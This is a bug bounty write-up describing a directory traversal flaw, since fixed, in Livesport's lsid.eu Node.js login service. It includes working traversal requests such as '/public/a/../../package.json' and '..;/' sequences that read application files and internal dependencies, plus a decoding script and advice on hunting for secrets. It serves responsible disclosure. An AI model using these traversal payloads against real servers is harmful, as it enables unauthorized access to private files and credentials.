Author: slx

  • Directory traversal at lsid.eu – Livesport bug bounty

    Directory traversal at lsid.eu – Livesport bug bounty

    Intro

    Directory Traversal vulnerability was identified and responsibly reported through Livesport’s official bug bounty program. The vulnerability was present at https://lsid.eu, a service that represents a key part of https://livesport.cz, as it’s Node JS server for registrations, logins and managing user data.

    So, if we want to log in to our account on https://livesport.cz, one of the requests sent to LSID would look like this:

    POST /v3/login HTTP/1.1
    Host: lsid.eu
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate, br
    Referer: https://www.livesport.cz/
    Content-Type: text/plain;charset=UTF-8
    Content-Length: 131
    Origin: https://www.livesport.cz
    Sec-Fetch-Dest: empty
    Sec-Fetch-Mode: cors
    Sec-Fetch-Site: cross-site
    Te: trailers
    Connection: close
        
    {"email":"aaa@x.cc","password":"password","namespace":"flashscore","project":1}

    Some additional API endpoints that are part of LSID:

    /v2/login
    /v2/registration
    /v2/logout
    /v3/login
    /v3/termsagree
    /v3/verification
    /v4/getdata
    /v5/users/me/marketing-approval
    /v5/users/me/terms
    [...]

    Description

    Despite the protections and validation mechanisms that appeared to be implemented on the server, it was still possible to arbitrarily browse files and directories under the path /home/fsnodeuser/app/*.

    This made it possible to access files such as:

    • package.json
    • package-lock.json

    As well as various directories such as:

    • node_modules
    • dist
    • lib

    and others.

    More specifically, the package.json file exposed project metadata and information about its dependencies, including internal dependencies such as @flashscore/<name>, which are required for running the application in the production environment. The file also contained build-related information, including the location of the internal NPM registry, contributors, and the homepage from which the project could be downloaded.

    Write-up

    I went to the URL https://lsid.eu

    Then fuzzed it with ffuf and realized that the /public directory is accessible, though it seems to be misconfigured, as it returns a 500 Internal Server Error.

    And if, for example, the following request is sent, the server returns the full path, and the username once again suggests that the application is running on Node.js

    It’s possible to modify the request by adding ../ path traversal sequences to move to the /home/fsnodeuser/app directory, which then allows browsing the files and directories belonging to the application. In the example below, the contents of the package.json file were retrieved.

    Request:

    GET /public/a/../../package.json HTTP/2
    Host: lsid.eu
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101
    Firefox/134.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate, br
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: none
    Sec-Fetch-User: ?1
    Priority: u=0, i
    Te: trailers

    Response:

    HTTP/2 200 OK
    Date: Sun, 09 Feb 2025 22:58:03 GMT
    Content-Type: application/json; charset=utf-8
    Vary: Accept-Encoding
    X-Transaction-Id: ca2bc4ea639d8137725d5924f7ad9008
    Strict-Transport-Security: max-age=31536000; includeSubDomains
    
    {"type":"Buffer", "data":[123,10,9,34,110,97,109,101,34,58,32,34,108,115,105,100,3 4,44,10,9,34,118,101,114,115,105,111,110,34,58,32,34,55,46,51,46,55,34,44,10,9,3
    4,116,101,109,112,108,97,116,101,86,101,114,115,105,111,110,34,58,32,34,49,46,57,4
    6,51,34,44,10,9,34,100,101,115,
    
    [...]

    The response containing the Buffer output is fairly long in both cases (package.json and package-lock.json), so I decided to include only a partial excerpt. Since each number in the data array corresponds to the ASCII value of a character from the package.json file, it can be converted into a readable JSON representation.

    Addendum:

    Summary of files discovered in /home/fsnodeuser/app:

    • package.json
    • package-lock.json

    Discovered directories:

    • dist
    • node_modules/

    How existing directories can be identified – example: node_modules

    Request:

    GET /public/a/..;/..;/..;/..;/..;/../../../../../../../node_modules HTTP/2
    Host: lsid.eu

    Response:

    HTTP/2 500 Internal Server Error
    Date: Tue, 20 Aug 2024 10:10:12 GMT
    Content-Type: application/json; charset=UTF-8
    X-Transaction-Id: 5dc70e858e61df37701e37ff3e1fa0da
    Strict-Transport-Security: max-age=31536000; includeSubDomains
    
    {"code":0,"message":"Error reading file: \"/node_modules \".","name":"InternalServerError"}

    Although the server returns an error message – “500 Internal Server Error” – it tell us that it exists, so it’s possible to work with that in the next steps. So let’s take the Buffer from the previous answer and convert it into a readable format to get the package.json file:

    #!/usr/bin/env python3
    
    import json
    
    buffer_data = [123,10,9,34,110,97,109,101,34 ....the rest of the buffer...]
    
    json_string = ''.join(chr(byte) for byte in buffer_data)
    parsed_json = json.loads(json_string)
    print(json.dumps(parsed_json, indent=4)) # Pretty print the JSON

    A readable version of the package.json file for lsid.eu (some parts were intentionally “redacted”):

    {
    "name": "lsid",
    "version": "x.x.x",
    "templateVersion": "x.x.x",
    "description": "Node JS server for registrations, logins and managing user
    data."
    ,
    "keywords": [
    "livesport",
    "service"
    ,
    "LSID",
    "nodejs",
    "typescript"
    ],
    "files": [
    "js"
    ],
    "publishConfig": {
    "registry": "xxxx"
    },
    "license": "UNLICENSED",
    "author": "xxx Node Team <xxxx@livesport.eu> (https://xxx.atla
    ssian.net/xxxxxxxx)",
    "contributors": [
    ".... <...@livesport.eu>",
    ".... <...@livesport.eu>",
    ".... <...@livesport.eu>",
    ".... <...@livesport.eu>",
    ".... <...@livesport.eu>",
    ".... <...@livesport.eu>",
    ".... <...@livesport.eu>"
    ],
    "main": "./dist/index.js",
    "homepage": "https://...",
    "repository": {
    "type": "git",
    "url": "git@..."
    },
    "engines": {
    "node": ">=v20.11.1"
    },
    "scripts": {
    "audit": "npm audit --registry=https://registry.npmjs.org/",
    "audit-fix": "npm run audit -- fix",
    "audit-prod": "npm run audit -- --production",
    "build": "tsc -p tsconfig.build.json",
    ci --registry=https://..../ && npm run build-dt",
    "build-dev": "tsc -p tsconfig.dev.json && npm run postbuild",
    "build-dev-watch": "tsc -p tsconfig.dev.json && (concurrently \"tsc -w\"
    \"tsc-alias -w\")",
    ......
    ,
    "build-dt": "npm run build -- -p tsconfig.json",
    "build-prod": "npm run build -- -p tsconfig.prod.json",
    "check-circular-dependencies": "npx madge -c --extensions ts --ts-confi
    
    [...]
    
    },
    "dependencies": {
    "@flashscore/redacted-core": "^3.0.1",
    
    [...]
    
    },
    "devDependencies": {
    
    [...]
    
    }
    }

    There are many interesting in-house dependencies in the dependencies section @flashscore. For purposes of this post, however, I’ll take the @flashscore/redacted-core

    Getting package.json

    GET /public/a/../../node_modules/@flashscore/redacted-core/package.json HTTP/2
    Host: lsid.eu

    Response is as in previous case a “Buffer”, so it need to be converted into the readable format again:

    HTTP/2 200 OK
    Date: Mon, 10 Feb 2025 00:09:12 GMT
    Content-Type: application/json; charset=utf-8
    Vary: Accept-Encoding
    X-Transaction-Id: 7a6eca09a4db3cd451354bcef138a1d4
    Strict-Transport-Security: max-age=31536000; includeSubDomains
    
    {"type":"Buffer", "data":[123,10,9,34,110,97,109,101,34,58,32,34,64,102,108,97,11
    5,104,115,99,111,114,101,47,115,101,
    
    [...]

    Converted package.json

    {
    "name": "@flashscore/redacted-core"
    ,
    "version": "3.0.1",
    "description": "Package includes base classes for FS Node Team microservice projects."
    ,
    "keywords": [
    "core"
    ,
    "service"
    ,
    "classes",
    "livesport",
    "flashscore"
    ,
    "javascript",
    "typescript"
    ],
    "publishConfig": {
    "registry": "...."
    },
    "license": "UNLICENSED",
    "author": "....)",
    "contributors": [
    
    [...]
    
    ],
    "main": "./dist/index.js",
    "exports": {
    "
    .": "./dist/index.js",
    "./repositories/*": "./dist/lib/repositories/*/index.js"
    },
    "types": "./dist/index.d.ts",
    "typesVersions": {
    "*": {
    "index.d.ts": [
    "./dist/index.d.ts"
    ],
    "repositories/*": [
    "./dist/lib/repositories/*/index.d.ts"
    ]
    }
    },
    "homepage": "....",
    "repository": {
    "type": "git",
    "url": "git@...."
    },
    "engines": {
    "node": ">=..."
    },
    "scripts": {},
    "dependencies": {
    "@flashscore/........
    },
    "peerDependencies": {
    "@flashscore/.......
    },
    "peerDependenciesMeta": {
    "@flashscore/.....": {
    "optional": true
    },
    "knex": {
    "optional": true
    }
    },
    "devDependencies": {
    "@commitlint/cli": "^......
    "@flashscore/.......[...]
    }
    }

    It is possible to obtain information about both the authors and a description of what the dependency is used for, as well as what other dependencies it may use. In this way, it is possible to repeat this process for each dependency and obtain information about any internal
    dependencies and look for hardcoded credentials, secrets, key, internal URLs or sensitive information.

    In the case of @flashscore/redacted-core, this tsconfig.test.json file was discovered:

    GET /public/a/../../node_modules/@flashscore/redacted-core/tsconfig.test.json HTTP/2
    Host: lsid.eu

    Response:

    HTTP/2 200 OK
    Date: Mon, 10 Feb 2025 00:07:48 GMT
    Content-Type: application/json; charset=utf-8
    Vary: Accept-Encoding
    X-Transaction-Id: d8301857fd786064b71cb78e5b32527d
    Strict-Transport-Security: max-age=31536000; includeSubDomains
    
    {"type":"Buffer", "data":[123,10,9,34,101,120,116,101,110,100,115,34,58,32,34,46,4 7,116,115,99,111,110,102,105,103,46,106,115,111,110,34,44,10,9,34,99,111,109,112,105,
    108,101,114,79,112,116,105,111,110,115,34,58,32,123,10,9,9,34,115,111,117,114,99,101,7
    7,97,112,34,58,32,116,114,117,101,10,9,125,10,125,10]}

    Converted to:

    {
    "extends": "./tsconfig.json",
    "compilerOptions": {
    "sourceMap": true
    }
    }

    sourceMap is set to true. This information could be useful during JavaScript fuzzing, where .map extensions could be tested automatically to determine whether they expose any potentially vulnerable code paths or sensitive implementation details.

    Even in lsid.eu it’s possible to browse thru third-party dependencies such as knex, lodash, mysql2, pino etc.. and inspect individual files to determine whether they contain any custom configurations or settings required for the proper operation of the Livesport/Flashscore application.

    One more interesting example was this redis-client

    Request:

    GET /public/a/../../node_modules/@flashscore/redis-client/dist/index.d.ts HTTP/2
    Host: lsid.eu

    Response:

    HTTP/2 200 OK
    Date: Tue, 20 Aug 2024 10:45:22 GMT
    Content-Type: text/plain; charset=utf-8
    Content-Length: 23
    X-Transaction-Id: b39a07144f2a736080595d51e351e8cf
    Strict-Transport-Security: max-age=31536000; includeSubDomains
    
    export * from './lib';

    In this case, there were also a docker-compose.yml file

    Request:

    GET /public/a/../../node_modules/@flashscore/redis-client/docker-compose.yml HTTP/2
    Host: lsid.eu

    Response:

    HTTP/2 200 OK
    Date: Tue, 20 Aug 2024 10:46:12 GMT
    Content-Type: text/plain; charset=utf-8
    Content-Length: 210
    X-Transaction-Id: 08ecd5f4dc68b9fc1eb7528b489ddab6
    Strict-Transport-Security: max-age=31536000; includeSubDomains
    
    services:
    redis:
    image: <aaaa>/redis:test
    restart: 'no'
    ports:
    - '6378:6379'
    expose:
    - '6378'

    Timeline

    • 10 February 2025: Vulnerability has been reported thru https://bugbounty.livesport.eu/
    • 10 February 2025: That same day, the Livesport’s Product Security IRT team informed me that they had received the report and would be processing it further.
    • 17 February 2025: The vulnerability was assessed as valid, and I was informed that it has already been fixed.
    • 11 April 2025: $500.00 bounty and 7 points into the Hall of Fame at https://bugbounty.livesport.eu/